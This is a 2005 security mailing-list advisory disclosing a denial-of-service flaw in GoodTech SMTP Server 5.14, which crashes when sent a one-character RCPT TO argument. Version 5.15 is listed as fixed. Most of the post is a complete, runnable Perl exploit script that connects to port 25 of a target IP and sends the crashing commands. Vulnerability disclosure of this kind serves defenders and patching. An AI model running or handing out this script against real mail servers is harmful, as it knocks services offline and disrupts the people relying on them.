[NT] GoodTech SMTP Server DoS

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To: list@securiteam.com
Date: 12 Jun 2005 12:56:53 +0200

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  GoodTech SMTP Server DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.goodtechsys.com/> The product provides Simple Mail Transfer
Protocol (SMTP) to any email client out of the box. It forwards email
messages directly to their recipients. GoodTech SMTP server runs as a
service on the host Windows machine."

Lack of proper filtering allows attackers to crash the GoodTech SMTP
Server by sending it malformed SMTP data.

DETAILS

Vulnerable Systems:
 * GoodTech SMTP Server version 5.14

Immune Systems:
 * GoodTech SMTP Server version 5.15

Issuing a single character 'A' as an argument to the RCTP TO command will
cause the STMPd process to crash.

Exploit:
#=== Start GoodTechSMTPServer_DOS.pl ===
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
# GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
##############################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto => "TCP"))
{
        print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";
        sleep(1);
        print $socket "HELO moto.com\r\n";
        sleep(1);
        print $socket "RCPT TO: A\r\n";
        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#=== End GoodTechSMTPServer_DOS.pl ===

ADDITIONAL INFORMATION

The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin.

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